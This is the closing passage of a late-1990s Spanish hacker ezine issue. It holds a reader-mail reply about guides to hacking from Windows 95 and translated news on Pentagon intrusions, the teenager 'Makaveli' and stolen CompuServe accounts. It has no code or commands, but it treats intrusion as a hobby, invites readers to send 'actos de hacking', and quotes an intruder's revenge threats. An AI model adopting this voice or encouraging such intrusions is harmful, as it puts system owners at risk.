  13683.   PD: el doc de Daemon sobre hackear Unix me parecio excelente tambien. Pero
  13684.   la idea de que hay poco escrito sobre como hackear desde Win 95 o como
  13685.   hackearlo es muy fuerte... 
  13686.  
  13687.   <------>
  13688.  
  13689.   [ Nosotros por el momento no tenemos pensado sacar una guia sobre hack en
  13690.     win95 pero nunca sa sabe. Si no recuerdo mal si se puede hacer esos
  13691.     ataques desde un win95 a otro ya que si existen programas para ello,
  13692.     pero tambien hay que decir que estar perdiendo el tiempo en nukes y
  13693.     similiares es una tonteria, hay cosas mejores en las que perder el tiempo.
  13694.     Decirte que en NT si que estamos trabajando por lo que el algun tiempo
  13695.     ya daremos alguna sorpresa ;-) ]
  13696.  
  13697.   [ Nobody : Pues thx y a lo mejor si que aparece una 2 parte ya que lo tenia
  13698.     pensado cuando acabe la primera :)) y si que se puede el IP-spoof en win
  13699.     y eso seria una de las cosas incluidas, pero ya veremos ya que estoy
  13700.     bastante ocupado.
  13701.     Y como primicia te dire que a lo mejor saco dentro de una temporada una
  13702.     guia de hacking con el s.o. Inferno ;-) pero ya se vera.
  13703.     Yo prefiero Unix que win pero al ver que poca informacion hay sobre el
  13704.     hacking en win, por eso decide escribir esta guia, la cual por lo visto
  13705.     esta agrando mucho y eso es bueno :)
  13706.     Byes. ]
  13707.  
  13708. <────────────────────────────────────────────────────────────────────────────>
  13709. ██████████████████████████████████████████████████████████████████████████████
  13710. <────────────────────────────────────────────────────────────────────────────>
  13711.  
  13712.                            ------------------------
  13713.                            - NOTICIAS UNDERGROUND -
  13714.                            ------------------------
  13715.   
  13716.                                                 - J.J.F. / HACKERS TEAM -
  13717.  
  13718. <────────────────────────────────────────────────────────────────────────────>
  13719.   EX-AGENTES DEL KGB ENVUELTOS EN DELITOS INFORMATICOS.
  13720.  
  13721.         Experimentados agentes del KGB, quienes durante la Guerra Fria
  13722.   adquirieron elevados conocimientos estan siendo acusados por el crecimiento
  13723.   de delitos informaticos provenientes del Este de Europa.
  13724.  
  13725.         Uno de los usarios de Internet afectados lucha contra una factura de
  13726.   1800 dolares alegando que ella es victima de estos hackers entrenados por
  13727.   el gobierno, que ahora estan relacionados con la Mafia Rusa y otros
  13728.   paises del Este.
  13729.          
  13730.         Mary Picken, un usuario de CompuServe, cree que ellos decodificaron
  13731.   su password y usaron su cuenta incrementando su factura, que tarifa unas
  13732.   1000 horas de conexion a Internet desde alguna terminal del Este de
  13733.   Europa.
  13734.  
  13735.         Picken, quien esta a punto de ser expulsada de su trabajo en la
  13736.   oficina de arte STUC, insiste que ella nunca ha accedido al sistema desde
  13737.   fuera de UK y tampoco a relevado su contraseña a nadie jamas.
  13738.  
  13739.         CompuServe se niega a admitir culpabilidad. La compañia le a ofrecido
  13740.   un credito del 50% como un gesto de buena voluntad, pero dice que no cree
  13741.   que haya habido una brecha de seguridad. Por el contrario, CompuServe asume
  13742.   que Picken uso su cuenta mientras viajaba por el extranjero o autorizo el
  13743.   uso de su cuenta a alguien o divulgo su clave a una tercera parte.
  13744.  
  13745.         Sin Embargo, existen evidencias de que otros usuarios de
  13746.   CompuServe han sufrido casos similares.
  13747.  
  13748.         Dr Neil Barret, uno de los mejores expertos en seguridad informatica
  13749.   de UK, conto al Scotland el domingo, que puede ser posible para
  13750.   experimentados Hackers robar cuentas de Internet por la red.
  13751.  
  13752.         "Existe un amplio rango de metodos que pueden ser usados pero uno de
  13753.   los favoritos es un programa sniffer que se instala para buscar
  13754.   determinados patrones en una seccion de codigo", explico.
  13755.  
  13756.         "Otro metodo es conducir a una persona a un determinado lugar en
  13757.   Internet y obligarles a dejar sus datos personales. Si dejamos nuestra
  13758.   cuenta de correo en algun lugar ya damos mucha informacion sobre nosotros.
  13759.   Tambien es posible esperar por alguna informacion en particular para
  13760.   luego ser enviada o haver sido programado para ir a un lugar espeficico de
  13761.   nuestro ordenador para coger nuestra contraseña y datos personales."
  13762.  
  13763.         En pleno debate alrededor de CompuServe, un hombre conocido
  13764.   unicamente como Tom describe como un amigo suyo a vistado un servidor en
  13765.   el cual se anunciaba un ordenador gratis.
  13766.  
  13767.         Despues de dejar su direccion de correo, la factura de su cuenta de
  13768.   Internet comenzo a incrementarse desde algun lugar de Europa.
  13769.  
  13770.         El Centro para Estudios Estrategicos Internacionales, un tanque ligero
  13771.   de Washington con cierta relacion con la Agencia de Inteligencia, sostiene
  13772.   que el Bloque del Este es uno de los centros mas proliferos de hacking del
  13773.   mundo. Barret dice que las cuentas de Internet hackeadas son vendidas por
  13774.   criminales, envueltos desde el transporte de software pirateado hasta
  13775.   el trafico de drogas.
  13776.  
  13777.         Este fraude es el desarrollo de otra forma de las telecomunicaciones.
  13778.   En uno de sus mas recientes casos, un grupo de hackers cargaba las tarjetas
  13779.   del gigante AT&T, una empresa de telecomunicaciones de los EE.UU. El uso
  13780.   de estas tarjetas le cuesta a la compañia 78 millones de dolares.
  13781.  
  13782.         Picken se puso en contacto con la policia pero como su cuenta fue
  13783.   usada en el extranjero la policia no puede investigar. Ademas CompuServe se
  13784.   niega a explicar desde donde fue la conexion exactamente por lo no es
  13785.   posbile denunciarlo a la Interpol o a la propia policia del pais envuelto.
  13786.  
  13787.   SCOTLAND ON SUNDAY 15/02/98 P6 
  13788.  
  13789. <────────────────────────────────────────────────────────────────────────────>
  13790.   EL PENTAGONO ATACADO POR HACKERS.
  13791.  
  13792.         Las redes informaticas desclasificadas del Pentagono fueran dañadas
  13793.   por "unos ataques ciberneticos" de parte de unos hackers durante el
  13794.   reciente conflicto del Golfo Persico, revelo ayer un oficial del
  13795.   departamento de defensa. El asalto en uno de los sistemas informaticos mas
  13796.   seguros del ejercito de los Estados Unidos durante las 2 ultimas semanas
  13797.   fue "el mejor ataque organizado sistematicamente sufrido por el Pentagono
  13798.   hasta la fecha actual", dijo John Hamre, el delegado de la Secretaria de
  13799.   Defensa.
  13800.  
  13801.         Pero los ataques, que estan siendo investigados por el Pentagono,
  13802.   el FBI y por el departamento de justicia, parece que no tiene relacion
  13803.   directa con el conflicto Iraqui. Tiene toda "la apariencia de ser un juego"
  13804.   y que fue perpretado "por un numero reducido de individuos", dice el. El
  13805.   ataques de los hackers se concentro en los sistemas desclasificados del
  13806.   Pentagono, como personal y nominas, dice el señor Hamre. Todos los servicios
  13807.   del Pentagono fueron "penetrados en algun grado". Aunque "fueron muchos y
  13808.   bastante sofisticados", el considera los ataques como de "mirones o
  13809.   vandalismo".
  13810.  
  13811.         "Nuestras redes clasificadas estan intactas y no han sido penetradas"
  13812.   , dijo el señor Hamre. Estos ataques demuestran el devastador potencial de
  13813.   los asaltos de los Hackers y "cyber terroristas". En el ultimo Octubre, la
  13814.   comision del presidente Bill Clinton encargada de la proteccion de
  13815.   infraestructura critica manifesto que "el potencial de desastre es real".
  13816.   El informe, por el ya retirado general Robert Marsh de las fuerzas aereas,
  13817.   revelo un plan de cinco años para incrementar la seguridad en sistemas
  13818.   sensibles del gobierno y compañias privadas de defensa, energia, bancos y
  13819.   compañias telefonicas.
  13820.  
  13821.         En Diciembre, ministros de justicia y de interior del Grupo de los
  13822.   Siete encargados del poder economico, incluido el secretario de la Casa
  13823.   Blanca, Jack Straw, firmaron un acuerdo en Washington para coordinar los
  13824.   esfuerzos contra el delito digital.
  13825.  
  13826.   GUARDIAN 26/02/98 P14 
  13827.  
  13828. <────────────────────────────────────────────────────────────────────────────>
  13829.   EL FBI ORGANIZA UNA ENORME REDADA PARA ATRAPAR UNOS ADOLESCENTES DE UN
  13830.                             PUEBLECITO.
  13831.  
  13832.   COMTEX NewswireTuesday, March 03, 1998 12:52:00 AM 
  13833.  
  13834.   ZDNet News (February 27, 1998) - 
  13835.  
  13836.         El FBI estuvo durante seis semanas dedicando mas de 20 agentes en un
  13837.   esfuerzo de detener a una serie de individuos organizados los cuales
  13838.   penetraron el Pentagono. Pasado dos noches de la penetracion, la agencia
  13839.   se encontro que despues de todo el proceso de investigacion los intrusos
  13840.   resultasen ser un grupo de niños.
  13841.  
  13842.         Durante la detencion, los agentes cogieron a los adolescentes,
  13843.   identificando a un estudiante escolar de 15 o 16 años, en el proceso de
  13844.   entrar en sistemas informaticos no-clasificados. Una segunda redada fue
  13845.   llevada en la casa de otro adolescente sospechoso de tomar parte en la
  13846.   penetracion del Pentagono. La redada fue llevada a cabo en Cloverdale,
  13847.   un pueblo de 5000 residentes a unas 100 millas del norte de San Francisco.
  13848.  
  13849.         Los dos adolescentes, al ser menores, no fueron arrestados, pero el
  13850.   FBI confisco sus equipos informaticos y software en ambas casas. "Son
  13851.   buenos chicos", decia Michael Carey, el superintendente del distrito escolar
  13852.   de Cloverdale. "Espero que no haya cargos contra ellos".
  13853.  
  13854.         Con esto finaliza un capitulo en la investigacion de diversas
  13855.   penetraciones en los ordenadores desclasificados del Pentagono. La redada
  13856.   ocurrio un dia despues de que el delegado de la Secretaria de Defensa John
  13857.   Hamre revelase que 11 sistemas desclasificados del Pentagono han sido
  13858.   penetrados durante este mes.
  13859.  
  13860.         De acuerdo con las investigaciones federales, otros estudiantes de
  13861.   Cloverdale estan siendo interrogados por el Servicio Secreto y por agentes
  13862.   del FBI. Se sospecha que los actos de hacking fueron llevados a cabo por un
  13863.   grupo de jovenes, quienes luchaban haber quien penetraba antes en los
  13864.   ordenadores del gobierno.
  13865.  
  13866.         "La mayoria de aqui piensa que esto fue una especie de concurso
  13867.   informatico" decia un estudiante del colegio superior de Cloverdale. A
  13868.   principios de este semana, Hamre el delegado de la Secretaria de Defensa
  13869.   dijo que la penetracion fue "el mejor ataque organizado sistematicamente
  13870.   sufrido por el Pentagono hasta la fecha actual".
  13871.  
  13872.         "Esto dice cosas sorprendentes de la habilidad de los chicos y
  13873.   tambien la poca seguridad que tiene el Pentagono" decia un Hacker que no
  13874.   tiene relacion con los incidentes, que prefiere ser conocido con su apodo,
  13875.   darkcube. Pero la cazeria todavia no ha finalizado, segun Bill Zane, quien
  13876.   tiene un Servidor de Internet llamado Netdex con 3000 usuarios en Santa
  13877.   Rosa, California. Los hackers aparentemente entraron en Netdex para
  13878.   dirigirse al Pentagono. De hecho, Zane posiblemente fue el primero que
  13879.   aviso sobre los intrusos. "Hay por lo menos uno o como mucho dos mas
  13880.   todavia libres", decia Zane. "No solo son estos dos chicos."
  13881.  
  13882.         Zane, junto a los administradores del MIT (Massachusetts Institute of
  13883.   Technology) y de la Universidad de Berkely, monotorizaron a los intrusos y
  13884.   picharon sus comunicaciones. Esto mensajes junto a los distintos metodos
  13885.   de operar hace creer a Zane que hay mas gente inculpada en el caso y que
  13886.   ademas son adultos.
  13887.  
  13888.         "Los metodos fueron mas sofisticados y mucho mas serios", decia.
  13889.  
  13890.         Para estos dos jovenes hackers, cuyos crimenes pueden haver cometido.
  13891.   "Yo estaria mas concienciado si hubieran hackeado el sistema del colegio o
  13892.   cambiado las notas," decia el Superintendente Carey. "Fue mas un inocente
  13893.   juego que un ataque malicioso."
  13894.   
  13895.   Copyright (c) 1998 Ziff-Davis Publishing Company. All rights reserved.
  13896.  
  13897.   For additional Ziff-Davis online information, access Ziff-Davis on
  13898.   Compuserve (GO ZIFFNET) or ZD Net on the Internet (http://www.zdnet.com)
  13899.  
  13900.   Copyright 1998
  13901.  
  13902. <────────────────────────────────────────────────────────────────────────────>
  13903.   HABLA EL HACKER DEL PENTAGONO.
  13904.  
  13905.   WIRED Internet
  13906.   
  13907.   12:17pm 
  13908.  
  13909.         Uno de los dos adolescentes detenidos la semana pasado por el FBI
  13910.   por hackear servidores del gobierno dijo que el seguia teniendo acceso de
  13911.   administrador en cientos de redes gubernamentales y militares.
  13912.   Adicionalmente, los colegas del joven dijeron, que se havia
  13913.   sensacionalizado la historia en los medios de comunicacion, y que estaban
  13914.   planeado "venganzas electronicas."
  13915.  
  13916.         EL hacker, que operaba bajo el apodo de Makeveli, hizo diversos
  13917.   comentarios en diferentes conversaciones telefonicas e intercambios de
  13918.   email con John Vranesevich, fundador del grupo de seguridad informatica
  13919.   AntiOnline.
  13920.  
  13921.         Vranesevich ha publicado diversos extractos de sus conversaciones con
  13922.   Makeveli en su pagina web, que esta dedicada a educar al publico sobre
  13923.   cuestion de seguridad informatica. Durante el curso de cinco conversaciones
  13924.   telefonicas, el joven, un junior en la escuela superior de Cloverdale,
  13925.   California, dijo que enviaria una cinta sobre su encuntro con el FBI la
  13926.   semana pasada.
  13927.  
  13928.         "Ellos vinieron a mi casa, me retuvieron en el salon, y empezaron a
  13929.   sacar todo el equipo informatico de mi cuarto," contaba Makaveli a
  13930.   Vranesevich. "Ni siquiera dejaron el cable que conectaba la pared con el
  13931.   modem". "Tambien cogieron todos mis CD's - CDs musicales, CDs de ordenador,
  13932.   mi impresora, altavoces, todo," decia Makaveli.
  13933.  
  13934.         Vranesevich dijo que Makaveli le dijo que el y su compañero, quien
  13935.   operaba bajo el apodo de TooShort, ambos viven en el mismo vecendario y
  13936.   ambos fueron visitados por los agentes federales la misma noche.
  13937.  
  13938.         "Ellos estaban muy confudidos por el modo que en el FBI les trataba,
  13939.   los jovenes usaron la palabra 'de asperos'," dijo Vranesevich, que dijo que
  13940.   Makaveli contacto con el por la reputacion de AntiOnline en la comunidad
  13941.   hacker y su alto conocimiento sobre cuestiones de seguridad informatica.
  13942.  
  13943.         Makaveli nunca fue esposado, ni siquiera arrestado. Aunque todo su
  13944.   equipo fue confiscado por los agentes, de acuerdo con Vranesevich, el
  13945.   joven sigue teniendo acceso a Internet en la escuela, y hoy mismo le a
  13946.   enviado correo.
  13947.  
  13948.         "Una de las cosas (los agentes) que repetian una y otra vez era 'LLNL'
  13949.   (Lawrence Livermore National Laboratory) - ellos querian saber si el havia
  13950.   leido algun fichero de alli, si se acordaba del nombre de algun fichero o
  13951.   carpeta, y si sabia si hubiese algo clasificado," dijo Vranesevich.
  13952.  
  13953.         La semana pasada el delegado de la Secretaria de Defensa John Hamre
  13954.   dijo a los periodistas que durante las recientes semanas el Pentagono ha
  13955.   sido objeto de los mas sofisticados y organizados ataques hasta la fecha.
  13956.   Pero segun Vranesevich, Makaveli le dijo que Hamre estaba generalizando.
  13957.  
  13958.         "Por lo que parece que cualquier servidor .gov o .mil es un servidor
  13959.   del Pentagono," decia Makaveli, refiriendose a los cientos de maquinas que
  13960.   son clasificadas como gubernamentales o militares, pero podian ser
  13961.   cualquier cosa desde servidores del Departamento de Agricultura, hasta
  13962.   web's de reclutamiento del ejercito.
  13963.  
  13964.         Hamre dijo que ningun sistemas clasificado a sido accedido, pero
  13965.   Makaveli no esta de acuerdo.
  13966.                                                                     
  13967.         "Uno de los sitios que (los agentes del FBI) estuvieron preguntando
  13968.   repetidas veces era uno de los llamados 'clasificados.' Era el LLNL."
  13969.                                
  13970.         Vranesevich dijo que Makaveli le dijo a los agentes que no sabia que
  13971.   maquinas o ficheros eran clasificados, pero que el habia obtenido root -
  13972.   o privilegios de administrador - en cientos de maquinas, incluidas aquellas
  13973.   en el Lawrence Livermore Lab.
  13974.                                                                              
  13975.         "El sentia que (los agentes del FBI) trataban de ir tras el otro
  13976.   chico que era de un pais extranjero, quien era su mentor" dijo Vranesevich.
  13977.                                           
  13978.         "El me conto que este chico 'era tan bueno, que jamas lo encontraran,'
  13979.   dijo Vranesevich. "[Makaveli dijo] Yo no se quien es realmente, pero viene
  13980.   de un pais en el cual, si alquien sipiese quien es, le disparaian un tiro
  13981.   en la cabeza. Por eso se a de protejerse tan bien," le conto Makaveli a
  13982.   Vranesevich.
  13983.                             
  13984.         El joven experto en seguridad dijo que su historia a sido mal enfocada
  13985.   por los medios de comunicaciones, el gobierno, y por el dueño del Servidor
  13986.   de Internet en Santa Rosa.
  13987.  
  13988.         "Ese tio (Bill Zane el dueño de Netdex) este fuera de onda - y nada de
  13989.   hack fue cometido alli," le conto Makaveli a Vranesevich. Por el contrario,
  13990.   el joven admitio de haver obtenido privilegios de administrador en los
  13991.   servidores de Netdex y haver instalado las herramientas de seguridad que
  13992.   despues Zane se jacta de haver usado para perseguirlos.
  13993.  
  13994.         Zane conta a Wired News que Makaveli "uso varias maquinas, incluido
  13995.   las nuestras, en una secuencia de telnets para sus actos hacking," aseguro
  13996.   el a la revista. Ademas confirmo que Makaveli havia obtenido root en sus
  13997.   servidores, pero ya no lo tiene mas.
  13998.                                     
  13999.         Vranesevich dijo que mientras los servidores de web no contengan
  14000.   ningun fichero sensible, suelen ser usados para saltar entre diversos
  14001.   sistemas dentro de una red." (Makaveli y TooShort) saltaban de una maquina
  14002.   a otra, porque asi esto les permite tener acceso valido a un host (que
  14003.   generalmente requiere venir de un sitio interno de la red) para acceder a
  14004.   otra maquina" comenta Vranesevich.
  14005.              
  14006.         Zane se niega a explicar las tecnicas de Makaveli, o sus tecnicas de
  14007.   seguridad, y ademas se queja del poco cuidado por parte de sus padres y
  14008.   profesores.
  14009.                                  
  14010.         "Para usar la autopista de la informacion como una metafora, tu no
  14011.   pones a un chico en un coche y le dejas conducir por la autopista," dice
  14012.   Zane, quien dice que las actividades en Intenet de los chicos tendria que
  14013.   estar supervisada. "Una cosa es usar los ordenadores en un lugar, y otra
  14014.   usarlos en Internet," dice Zane
  14015.  
  14016.         Makaveli conto en entrevistas anteriores que su notivacion fue
  14017.   de caracter politico. "Es poder, ya sabes, poder" dice el, refiriendose a
  14018.   la busqueda del conocimiento que mueve a los Hackers a cometer actos
  14019.   ilicitos.
  14020.  
  14021.         Vranesevich dijo que Makaveli y TooShort no tienen sorprendentes
  14022.   habilidades, ellos fueron cogidos y se predente que sean un modelo. 
  14023.  
  14024.         "No hay nada de especial en gente como Makaveli que sabe como
  14025.   penetrar un sistema, luego se resienten de las consecuencias," dice
  14026.   Vranesevich.
  14027.                            
  14028.         Makaveli termino su conversacion sugiriendo que sus amigos en la
  14029.   comunidad hacker estaban considerando una posible venganza - ya que todavia
  14030.   tienen un as en la manga.
  14031.                                
  14032.         "Me gustaria avisar al FBI, que todavia hay muchos servidores
  14033.   hackeados que ellos no saben, pero pronto se daran cuenta de ello," le
  14034.   conto Makaveli a Vranesevich. 
  14035.  
  14036. <────────────────────────────────────────────────────────────────────────────>
  14037. ██████████████████████████████████████████████████████████████████████████████
  14038. <────────────────────────────────────────────────────────────────────────────>
  14039.  
  14040.         Bueno chicos, pues aqui acaba el numero cuatro de nuestro/vuestro
  14041.   ezine y esperamos que os haya gustado y que vuestros conocimientos hayan
  14042.   mejorado en mayor grado o por lo menos un poco ;-)
  14043.  
  14044.         Despues de este magnifico numero (o eso pensamos :) tendreis que
  14045.    esperar unos dos meses para el siguiente, que conste que intentamos que
  14046.    sea el menor tiempo posible, pero eso depende de vuestra colaboracion con
  14047.    el ezine o sea que ya sabeis!!
  14048.  
  14049.         Y como siempre decimos, enviarnos vuestros articulos, sugerencias,
  14050.   criticas, propuestas, actos de hacking }:-) o lo que quieras para ir
  14051.   mejorando el ezine, a la siguiente direccion :
  14052.  
  14053.   jjf_team@usa.net
  14054.  
  14055.                          ADIOS Y HASTA EL SIGUIENTE NUMERO!!!
  14056.                                - J.J.F. / HACKERS TEAM -
  14057.  
  14058. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  14059.